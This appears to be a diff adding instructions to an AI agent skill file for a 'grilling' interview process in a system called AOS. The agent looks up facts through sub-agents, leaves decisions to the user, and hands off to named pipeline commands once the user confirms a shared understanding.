+Finding _facts_ is your job, never the user's. When a frontier question needs a fact from the environment (filesystem, tools, etc.), dispatch a sub-agent to find it; don't ask the user for anything you could look up yourself. Don't block on it: a running exploration is an unsettled prerequisite, so only the questions downstream of it wait for the sub-agent to report; ask the rest of the frontier now. The _decisions_ are the user's: put each to them and wait.
+
+The session is done when the frontier is empty: every branch of the design tree visited, nothing left silently assumed. Do not act on it until the user confirms you have reached a shared understanding.
+
+## In AOS
+
+This is the primitive. Two skills compose it, and neither duplicates it:
+
+- **`grill-me`** — the interview alone. Use without a working directory, or when the output is a decision rather than a document.
+- **`grill-with-docs`** — the interview plus `domain-modeling`, leaving a paper trail. Prefer it whenever there is a repo to leave one in.
+
+Grilling produces a shared understanding, not a plan. Once the frontier is empty, hand off to whichever pipeline the work actually needs — `/startcycle` for a straight run, `/startcycle-graph` when the durable record and repair loop earn their overhead, `/startcycle-graph-user` for a throwaway fan-out. `/bdbrainstorm` and `/bdbmediastorm` invoke this skill as their own interview step rather than restating it.
+
+**Do not use the `AskUserQuestion` tool for a grilling round.** A round is numbered questions with recommended answers, answered in prose, in whatever order the user likes — several at once, or one with a correction to another. Forcing that into fixed-choice widgets loses exactly the nuance the interview exists to surface.